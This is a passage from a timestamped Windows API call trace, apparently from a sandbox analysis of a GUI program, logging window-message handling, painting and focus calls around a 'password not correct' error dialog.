wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.833] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.833] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.833] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.833] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0276.833] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0276.833] IsIconic (hWnd=0xc0060) returned 0 [0276.833] IsIconic (hWnd=0xc0060) returned 0 [0276.833] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0276.833] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0276.834] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0276.834] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0276.834] GetSysColor (nIndex=8) returned 0x0 [0276.834] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0276.834] GetSysColor (nIndex=15) returned 0xf0f0f0 [0276.834] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0276.834] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.834] GetCurrentProcessId () returned 0x8d0 [0276.834] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.834] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.835] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.835] GetCurrentProcessId () returned 0x8d0 [0276.835] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.835] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.835] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0276.835] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0276.835] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0276.836] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.836] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=592)) returned 1 [0276.836] WindowFromPoint (Point=0x352) returned 0x10340 [0276.836] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.836] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.836] GetCurrentProcessId () returned 0x8d0 [0276.836] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.836] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.836] GetCapture () returned 0x0 [0276.836] WaitMessage () returned 1 [0276.896] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.896] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.896] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.896] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.897] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.897] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=592)) returned 1 [0276.897] WindowFromPoint (Point=0x353) returned 0x10340 [0276.897] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2520353) returned 0x1 [0276.897] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.897] GetCurrentProcessId () returned 0x8d0 [0276.897] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.897] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.897] GetCapture () returned 0x0 [0276.897] WaitMessage () returned 1 [0276.965] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.965] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.965] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.965] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.965] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.965] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=592)) returned 1 [0276.965] WindowFromPoint (Point=0x352) returned 0x10340 [0276.966] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.966] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.966] GetCurrentProcessId () returned 0x8d0 [0276.966] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.966] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.966] GetCapture () returned 0x0 [0276.966] WaitMessage () returned 1 [0277.015] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0277.015] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0277.015] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0277.015] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0277.016] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0277.016] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=592)) returned 1 [0277.016] WindowFromPoint (Point=0x354) returned 0x10340 [0277.016] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2520354) returned 0x1 [0277.016] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0277.016] GetCurrentProcessId () returned 0x8d0 [0277.016] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0277.016] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0277.016] GetCapture () returned 0x0 [0277.016] WaitMessage () returned 1 [0277.066] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0277.066] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0277.067] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x14b017b) returned 0x0 [0277.067] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0277.067] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0277.067] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=850, y=592)) returned 1 [0277.067] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0277.067] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0277.067] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0277.068] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0277.068] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0277.068] GetFocus () returned 0x1035c [0277.068] SetFocus (hWnd=0x10340) returned 0x1035c [0277.068] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x1 [0277.068] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f7ec | out: lpdwProcessId=0x18f7ec) returned 0x8cc [0277.068] GetCurrentProcessId () returned 0x8d0 [0277.068] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0277.068] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0277.069] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0277.070] SendMessageA (hWnd=0x1035c, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0277.070] SendMessageA (hWnd=0x1035a, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0277.070] SendMessageA (hWnd=0x40338, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0277.070] SendMessageA (hWnd=0xb0168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0277.070] SendMessageA (hWnd=0x60050, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0277.070] SendMessageA (hWnd=0x10340, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0277.070] GetClientRect (in: hWnd=0x10340, lpRect=0x18fb64 | out: lpRect=0x18fb64) returned 1 [0277.070] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0277.070] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0277.070] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0277.070] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0277.070] IsIconic (hWnd=0xc0060) returned 0 [0277.071] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0277.071] IsIconic (hWnd=0xc0060) returned 0 [0277.071] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0277.071] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0277.071] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0277.071] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0277.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x1035c, lParam=0x0) returned 0x0 [0277.071] GetFocus () returned 0x10340 [0277.071] GetCapture () returned 0x0 [0277.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb004, wParam=0x0, lParam=0x2c86b08) returned 0x0 [0277.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x201, wParam=0x1, lParam=0x40034) returned 0x0 [0277.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0277.071] GetKeyState (nVirtKey=18) returned 1 [0277.072] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0277.072] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0277.072] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0277.072] GetCapture () returned 0x10340 [0277.072] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x202, wParam=0x0, lParam=0x40034) returned 0x0 [0277.072] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0277.072] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0277.072] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f9c0 | out: lpdwProcessId=0x18f9c0) returned 0x8cc [0277.072] GetCurrentProcessId () returned 0x8d0 [0277.072] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0277.072] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0277.074] GetCursor () returned 0x10003 [0277.074] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0277.074] SetCursor (hCursor=0x10007) returned 0x10003 [0277.075] Sleep (dwMilliseconds=0x2ee) [0277.827] SetCursor (hCursor=0x10003) returned 0x10007 [0277.827] IsIconic (hWnd=0x2024a) returned 0 [0277.827] GetWindowLongA (hWnd=0x2024a, nIndex=-16) returned -1798701056 [0277.827] GetWindowLongA (hWnd=0x2024a, nIndex=-20) returned 256 [0277.827] GetActiveWindow () returned 0xc0060 [0277.827] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0277.828] GetProcAddress (hModule=0x76860000, lpProcName="MonitorFromWindow") returned 0x76883150 [0277.828] GetProcAddress (hModule=0x76860000, lpProcName="GetMonitorInfoA") returned 0x76884413 [0277.828] MonitorFromWindow (hwnd=0xc0060, dwFlags=0x2) returned 0x10001 [0277.828] MonitorFromWindow (hwnd=0x2024a, dwFlags=0x2) returned 0x10001 [0277.828] GetActiveWindow () returned 0xc0060 [0277.828] GetCurrentThreadId () returned 0x8cc [0277.828] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0277.828] IsWindowVisible (hWnd=0x20330) returned 0 [0277.828] IsWindowVisible (hWnd=0x20334) returned 0 [0277.828] IsWindowVisible (hWnd=0xc0060) returned 1 [0277.828] IsWindowEnabled (hWnd=0xc0060) returned 1 [0277.828] EnableWindow (hWnd=0xc0060, bEnable=0) returned 0 [0277.828] GetCapture () returned 0x0 [0277.828] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0277.829] GetCapture () returned 0x0 [0277.829] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0277.829] IsWindowVisible (hWnd=0x80042) returned 0 [0277.829] IsWindowVisible (hWnd=0x2024a) returned 1 [0277.829] IsWindowEnabled (hWnd=0x2024a) returned 1 [0277.829] EnableWindow (hWnd=0x2024a, bEnable=0) returned 0 [0277.829] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0277.829] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0277.829] GetCurrentThreadId () returned 0x8cc [0277.829] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0277.829] IsWindowVisible (hWnd=0x20330) returned 0 [0277.829] IsWindowVisible (hWnd=0x20334) returned 0 [0277.829] IsWindowVisible (hWnd=0xc0060) returned 1 [0277.829] IsWindowEnabled (hWnd=0xc0060) returned 0 [0277.829] IsWindowVisible (hWnd=0x80042) returned 0 [0277.829] IsWindowVisible (hWnd=0x30312) returned 0 [0277.830] IsWindowVisible (hWnd=0x3032a) returned 0 [0277.830] IsWindowVisible (hWnd=0x50048) returned 0 [0277.830] IsWindowVisible (hWnd=0x70044) returned 0 [0277.830] EnumWindows (lpEnumFunc=0x423eac, lParam=0x18f5b0) returned 0 [0277.830] GetWindow (hWnd=0x20330, uCmd=0x4) returned 0x0 [0277.830] GetWindow (hWnd=0x20334, uCmd=0x4) returned 0x0 [0277.830] GetWindow (hWnd=0x301ac, uCmd=0x4) returned 0x301aa [0277.830] GetWindow (hWnd=0x200f2, uCmd=0x4) returned 0x0 [0277.830] GetWindow (hWnd=0x200fa, uCmd=0x4) returned 0x0 [0277.830] GetWindow (hWnd=0x20104, uCmd=0x4) returned 0x0 [0277.830] GetWindow (hWnd=0x101e0, uCmd=0x4) returned 0x0 [0277.830] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x1007c [0277.830] GetWindow (hWnd=0x100a2, uCmd=0x4) returned 0x1007c [0277.830] GetWindow (hWnd=0x1008c, uCmd=0x4) returned 0x1007c [0277.830] GetWindow (hWnd=0x100b8, uCmd=0x4) returned 0x1007c [0277.831] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x1007c [0277.831] GetWindow (hWnd=0x100aa, uCmd=0x4) returned 0x1007c [0277.831] GetWindow (hWnd=0x100a6, uCmd=0x4) returned 0x1007c [0277.831] GetWindow (hWnd=0x10084, uCmd=0x4) returned 0x1007c [0277.831] GetWindow (hWnd=0x1007c, uCmd=0x4) returned 0x0 [0277.831] GetWindow (hWnd=0x101b4, uCmd=0x4) returned 0x201b2 [0277.831] GetWindow (hWnd=0x10118, uCmd=0x4) returned 0x0 [0277.831] GetWindow (hWnd=0x500c2, uCmd=0x4) returned 0x0 [0277.831] GetWindow (hWnd=0x100ba, uCmd=0x4) returned 0x0 [0277.831] GetWindow (hWnd=0xc0060, uCmd=0x4) returned 0x80042 [0277.831] GetWindow (hWnd=0x80042, uCmd=0x4) returned 0x2024a [0277.831] GetWindowLongA (hWnd=0x80042, nIndex=-20) returned 256 [0277.831] IsWindowVisible (hWnd=0x30312) returned 0 [0277.831] IsWindowVisible (hWnd=0x3032a) returned 0 [0277.831] IsWindowVisible (hWnd=0x50048) returned 0 [0277.831] IsWindowVisible (hWnd=0x70044) returned 0 [0277.832] MessageBoxA (hWnd=0x2024a, lpText="The password you entered is not correct. Please try again.", lpCaption="Error", uType=0x30) returned 1 [0277.833] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0277.838] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x0, lParam=0x40362) returned 0x1 [0277.840] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0277.840] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0277.840] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0277.841] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x20368, lParam=0x0) returned 0x0 [0277.841] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0277.842] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0277.842] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0277.849] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0277.849] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0277.849] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0277.850] GetSysColor (nIndex=8) returned 0x0 [0277.850] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0277.850] GetSysColor (nIndex=5) returned 0xffffff [0277.850] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0277.850] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0277.850] FillRect (hDC=0x8010b6a, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0277.851] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x8010b6a, lParam=0x4) returned 0x0 [0277.851] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0277.851] FillRect (hDC=0x3201018c, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0277.851] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3201018c, lParam=0x4) returned 0x0 [0277.852] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0xa010b6c, lParam=0x1035c) returned 0x2f100178 [0277.852] GetSysColor (nIndex=8) returned 0x0 [0277.852] SetTextColor (hdc=0xa010b6c, color=0x0) returned 0x0 [0277.852] GetSysColor (nIndex=5) returned 0xffffff [0277.852] SetBkColor (hdc=0xa010b6c, color=0xffffff) returned 0xffffff [0277.852] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0277.853] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18ef04 | out: lpdwProcessId=0x18ef04) returned 0x8cc [0277.853] GetCurrentProcessId () returned 0x8d0 [0277.853] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0277.853] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f174) returned 0x0 [0277.853] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0277.853] GetClientRect (in: hWnd=0x10340, lpRect=0x18ee64 | out: lpRect=0x18ee64) returned 1 [0277.853] FillRect (hDC=0x1f01019b, lprc=0x18ee64, hbr=0xe100186) returned 1 [0277.854] IsIconic (hWnd=0xc0060) returned 0 [0277.854] IsIconic (hWnd=0xc0060) returned 0 [0277.854] GetClientRect (in: hWnd=0xc0060, lpRect=0x18ed44 | out: lpRect=0x18ed44) returned 1 [0277.854] FillRect (hDC=0x3d01069e, lprc=0x18ed44, hbr=0xe100186) returned 1 [0277.854] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0277.854] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0277.854] GetSysColor (nIndex=8) returned 0x0 [0277.854] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0277.854] GetSysColor (nIndex=15) returned 0xf0f0f0 [0277.854] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0277.855] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0277.855] GetCurrentProcessId () returned 0x8d0 [0277.855] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0277.855] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0277.855] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0277.855] GetCurrentProcessId () returned 0x8d0 [0277.855] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0277.855] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0277.855] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0277.855] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18dd28) returned 0x7 [0277.855] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18dd00) returned 0x7 [0277.865] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0277.876] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0277.889] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0277.905] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0277.905] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0277.905] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x25040b8d, lParam=0x0) returned 0x1 [0277.906] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0277.906] GetSysColor (nIndex=8) returned 0x0 [0277.906] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0277.906] GetSysColor (nIndex=5) returned 0xffffff [0277.906] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0277.954] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0277.968] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0277.968] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0277.968] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0277.969] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x18040b94, lParam=0x0) returned 0x1 [0277.969] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0277.969] GetSysColor (nIndex=8) returned 0x0 [0277.969] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0277.969] GetSysColor (nIndex=5) returned 0xffffff [0277.969] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0277.980] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0278.023] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.024] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0278.026] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1a040ba3, lParam=0x0) returned 0x1 [0278.026] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0278.026] GetSysColor (nIndex=8) returned 0x0 [0278.026] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0278.026] GetSysColor (nIndex=5) returned 0xffffff [0278.026] 